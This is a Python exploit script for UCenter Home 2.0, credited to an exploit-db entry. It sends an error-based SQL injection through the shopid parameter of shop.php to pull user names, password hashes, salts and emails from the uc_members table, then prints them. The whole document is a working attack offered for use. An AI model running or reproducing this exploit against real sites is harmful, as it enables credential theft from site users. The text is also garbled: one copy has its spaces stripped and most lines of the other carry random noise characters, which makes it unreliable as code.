#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl# X, ~: U1 X# }8 y4 u5 L! `/ d
7 Z' T7 r) R1 p7 X0 _
( c! w) P! q4 T- O# q0 c4 z#!/usr/bin/env python
2 V, \* m I) U" G 6 n3 e+ r1 @; l0 r8 n- d
import sys
3 j# z0 v/ Z* L3 r8 V& Y% W+ M, ]import urllib2
0 A& b' z# U g) w; s9 ^# K" Limport re
\7 Z6 Z+ N( ` , f: y- Q( A* i- v B
def info():
0 H3 e- j9 T( j2 J4 `% t" p print 'From:http://www.exploit-db.com/exploits/14997/'
" g% w" N' S1 P2 O+ o+ h print 'http://www.hake.cc/Web_loudong/'
! I; ]5 O) K, ~. j5 t1 h print 'changed:qiaoy' - p0 m$ ?2 a) s# D A8 S# q% T
print 'exp:'
( _. ~! W% _3 W/ K8 a1 f print ' ./UCenter_Home_2.0.py site' L: u; [5 V: m9 { q8 r
0 ~6 x3 ~! B3 S9 x" X# `: o( r" _ vdef main(): ; A/ u# n; {" `/ L0 f: f
if len(sys.argv) != 2: $ r3 u/ ?3 a5 Z
info()
3 O: | H# N6 b4 d else:
! \% d9 K" L6 V- ~ site = sys.argv[1] J/ K# H" Y# f& m, \7 Y5 l+ x
if site[0:7] == 'http://': * L7 y" f- q2 m' f# O
sitesite =site
E# y$ r! @# r elif site[0:8] == 'https://':
`4 {3 [8 I7 l sitesite = site
6 w" g4 R% v5 y3 c else:
8 |3 I2 ]3 B, r- w site = 'http://'+site
& P" ]3 M8 R5 B& d' ^; I try:
# D/ \* j" r% j% l+ ?% Q8 S url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
7 N( Z; g$ A( M {! D( s7 {# M Value = urllib2.urlopen(url).read() 2 ]+ G( p" Z& C9 ~: i
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
0 b9 E9 I8 D. | hacked = Msg.split(':')
% l( s) Q9 k; w6 _, R& A3 v* U print 'Name: '+hacked[1]
/ M! o$ C% Q6 L6 u9 M, c, h print 'Passwd: '+hacked[2] ( C/ p" l. \! K ^9 J
print 'salt: '+hacked[3] 4 @" G4 b) Z! R: O& R) ^7 ]4 g- P R
print 'email: '+hacked[4] 2 ]3 L! |+ {, A% |+ U
except:
7 A5 D) {9 Q8 b3 t# M6 I- h print 'Sorry,I can\'t work............' * E4 @; T9 V) W: b2 |0 ~: @
# |: @: o2 M6 y/ Lif __name__ == '__main__':
9 r& z. T- i( y+ e. q, m main() |